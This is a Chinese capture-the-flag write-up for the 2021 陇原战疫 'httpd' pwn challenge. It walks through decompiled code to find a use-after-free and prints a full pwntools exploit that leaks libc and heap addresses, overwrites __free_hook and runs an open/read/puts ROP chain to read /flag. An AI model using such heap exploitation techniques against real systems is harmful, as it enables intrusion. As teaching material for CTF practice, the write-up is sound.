2021陇原战"疫"httpd
Time: 2021-11-09 Tags: WritesupLink: 2021陇原战"疫"httpd
前言
可以说 httpd 与👴有很长渊源了。👴刚进贵🐋️的时候,👴的老师是 aidai。讲 web 的那一学期,他布置的二进制作业是阅读 tinyhttpd 源码。你知道一个大笔都对带一新生的心灵造成了多大的伤害吗!👴每个字母都认识,但是就是看不懂啊。
后来在纵横杯 awd 赛道上,aidai 一手 %66lag 秒了一个 httpd。让 StudentUnion 的名字第一次出现在了 CTF 的赛场上。
然后👴这次又碰见了这个不怎么友好的 httpd。
碎碎念
非题解部分,不想看的同志请直接 跳转到题解。
说是 httpd,其实就是堆菜单题套了个壳。属于是换皮出题了。
这题其实不怎么难,关键是有点脑洞。拿到这题,直接去找 web 师傅看一下。
“有没有 web 老哥看一下 pwn 的 httpd。”
我对 web 可以说是一窍不通,只会右键查看源码。( mac 的 touch bar F12 不好使,我连 F12 都不会 )
然后没人回我……然后我想直接放弃得了,反正不做这题也是第一,躺了躺了。等了一会儿,逆向师傅看了一眼 /robots.txt,直接把二进制文件给你拖下来咯。
好家伙
然后直接进行一个 api 的分析。
Files Downloads: /backup.zip
HTTPD ALL APIS:
Add API:
method: POST
url: /?req=add&index=@&size=@
post your data
Delete API:
method: GET
url = /?req=del&index=@
Get API:
method: GET
url : /?req=get&index=@
[@: is your input value]
这一看就是个堆菜单题的标准模板嘛。直接打开 burp 进行一个试的测。
通过 POST 来创建堆块。然后再用 GET 来 get 他。好家伙,返回 ` { “code”:”false”,”msg”:”none data” } `。
怀疑 add 时没有写入。理由是 add 返回了 {"code":"true", "msg":"warning none data!"}
。于是去逆向分析一波。在 0x15110
左右一大堆 xmm 变量里面找到了 warning none data!
这个字符串。找到 httpd::work::work::client_add_data(void)
这个函数,里面大约 360 行有检测。
if ( !httpd::work::work::client_check_is_none(v3) )
{
v54 = &s1;
v45 = 0x2BLL;
v37 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v54, &v45, 0LL);
v54 = v37;
s1 = v45;
*v37 = _mm_load_si128(&unk_15180);
v38 = _mm_load_si128(&warning_no_data);
*(v37 + 32) = 'atad eno';
*(v37 + 40) = '"!';
*(v37 + 42) = '}';
*(v37 + 16) = v38;
v55 = v45;
*(v54 + v45) = 0;
v25 = *(v3 + 9) == 0LL;
v49 = &v51;
v51 = 1869834798;
v52 = 110;
v50 = 5LL;
v53 = 0;
if ( !v25 )
{
(*(v3 + 10))(v3 + 56, &v49, &v54);
goto LABEL_70;
}
l1:
if ( v54 != &s1 )
operator delete(v54);
goto LABEL_58;
}
分析一下 httpd::work::work::client_check_is_none
这个函数。
__int64 __fastcall httpd::work::work::client_check_is_none(httpd::work::work *this)
{
const __m128i *v1; // rbp
__int64 *v2; // r12
__int64 len; // [rsp+0h] [rbp-50h]
__m128i *v5; // [rsp+8h] [rbp-48h]
__int64 v6; // [rsp+10h] [rbp-40h]
__int64 v7; // [rsp+18h] [rbp-38h]
unsigned __int64 v8; // [rsp+30h] [rbp-20h]
__asm { endbr64 }
v8 = __readfsqword(0x28u);
v1 = **(this + 2);
v5 = &v7;
if ( !v1 )
goto LABEL_9;
v2 = &v5;
len = 0x10LL;
v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v5, &len, 0LL);
v7 = len;
*v5 = _mm_loadu_si128(v1);
v6 = len;
*(v5->m128i_i64 + len) = 0;
LOBYTE(v2) = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare() == 0;
if ( v5 != &v7 )
operator delete(v5);
if ( __readfsqword(0x28u) != v8 )
LABEL_9:
std::__throw_logic_error("basic_string::_M_construct null not valid");
return v2;
}
这里 ida 抽风了,compare 的两个参数分别是 &v5 和 “CHECK”。也就是一个长度为 0x10 的字符串和一个长度为 5 的 const char * 比较,这 tmd 不可能返回 0 啊我寻思。
然后我寻思本地 debug 一下看怎么绕过。把请求头写好直接 send 返回错误,焯。
到比赛结束也没弄好,寄。
某位带师傅试了试加上 \r\n,本地不报错了。开始本地调试。
题解
此处摘取重要信息。
add函数:
unsigned __int64 __fastcall httpd::work::work::client_add_data(httpd::work::work *this){
...
idx = strtol(*(v14 + 64), 0LL, '\n');
if ( v54 != &s1 )
operator delete(v54);
if ( idx > 0xFF )
{
...
}
v22 = v3 + 16 * idx;
if ( *(v22 + 328) > 0 )
{
...
}
*(v22 + 0x148) = size;
if ( size > 0x400 )
{
...
}
chunk = operator new[](size);
*(v22 + 0x140) = chunk;
size_1 = v44;
if ( size < v44 )
size_1 = size;
memcpy(chunk, **(v3 + 2), size_1);
if ( !httpd::work::work::client_check_is_none(v3) )
{
...
}
}
在 httpd::work::work::client_check_is_none(v3)
之前已经通过 memcpy 将 POST 的信息保存下来了。因此 client_check_is_none
报不报错无所谓。之所以前面没有 get 到信息,是因为…没用 socket。
unsigned __int64 __usercall httpd::work::work::client_delete_data@<rax>(httpd::work::work *this@<rdi>, __int64 a2@<rbx>, __int64 a3@<rbp>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>, __int64 a7@<r15>){
...
if ( *(v18 + 328) ) //size
{
v19 = *(v18 + 320);
if ( v19 )
operator delete[](v19);
v33 = &s1;
s1 = ':"edoc"{';
*(v18 + 328) = 0;//size
v20 = *(v9 + 9) == 0LL;
v36 = 'urt"';
v37 = '"e';
v38 = '}';
}
...
}
结合这个函数,漏洞很明显,size 在 报错之前被写入了,而 free 只清除了 size 位置。因此是一个裸的 UAF。这就好办了,直接 UAF 打 __free_hook,然后绕沙箱就完事了。
有了上面的分析,相信大家闭着眼都能把 exp 写出来了吧。
exp 附上,非最差解。
from pwn import *
# r = process(["./httpd"])
# r = process(["./httpd"],env={"LD_PRELOAD":"./libc.so.6"})
# context.log_level = 'debug'
libc = ELF("./libc.so.6")
def add(index,size,con):
r.send("""POST /?req=add&index=%d&size=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\nContent-Length: %d\r\n\r\n%s"""%(index,size,len(con),con))
sleep(0.1)
def get(index):
r.send("GET /?req=get&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index))
sleep(0.1)
def delete(index):
r.send("GET /?req=del&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index))
sleep(0.1)
r = remote("node4.buuoj.cn",29026)
for i in range(7):
add(i,0x400,'nmslnmslnmslnmsl')
add(7,0x400,'wsnd')
add(8,0x40,'wsndwsndwsndwsnd')
add(9,0x40,'wsndwsndwsndwsnd')
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
add(7,0x800,'wsnd')
r.recv()
get(7)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x1ebbe0
success("libc_base = "+hex(libc_base))
gadget=libc_base+0x0000000000154930
success("gadget = "+hex(gadget))
rdi = libc_base+0x0000000000026b72
rsi = libc_base+0x0000000000027529
rdx2 = libc_base+0x0000000000162866
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
puts = libc_base+libc.sym['puts']
gadget2 = libc_base+0x000000000005e650
rop = p64(rdi)+p64(libc_base+libc.sym['__free_hook']+0x10)+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx2)+p64(0x40)+p64(0)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(puts)
info(hex(len(rop)))
payload = p64(rdx2)+p64(0)+p64(0)+p64(rdi)+p64(gadget2)+rop
delete(8)
delete(9)
add(9,0x800,'leak')
for i in range(7):
add(i+40,0x58,'nmsl')
add(10,0x58,'nmsl')
add(11,0x58,'nmsl')
for i in range(7):
delete(i+40)
add(15,0x3e0,payload)
add(16,0x3e0,payload)
add(17,0x3e0,payload)
delete(17)
delete(16)
delete(15)
r.recv()
add(15,0x800,'nmsl')
r.recv()
get(15)
context.log_level='debug'
heap_base = u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))
success("heap_base = "+hex(heap_base))
add(16,0x3e0,payload)
add(17,0x3e0,payload)
add(18,0x3e0,payload)
add(19,0x3e0,payload)
delete(10)
delete(11)
add(10,0x800,'double free')
delete(10)
for i in range(7):
add(i+60,0x58,'nmsl')
add(11,0x58,p64(libc_base+libc.sym['__free_hook']))
add(12,0x58,p64(libc_base+libc.sym['__free_hook']))
add(13,0x58,p64(libc_base+libc.sym['__free_hook']))
add(14,0x58,p64(gadget)+p64(heap_base)+'/flag\x00')
r.interactive()
内容有粗鄙之语,习惯,多包涵。
gadget 利用分析请转本博客 bytectf2020 复现。
有个小坑,我本地和远程的堆布局不一样…索性直接申请好几个大堆块泄露了再把 rop 写进去,完事。
此方法非最差解。setcontext 亦可解之。
躺赢
携手抗疫,共度难关!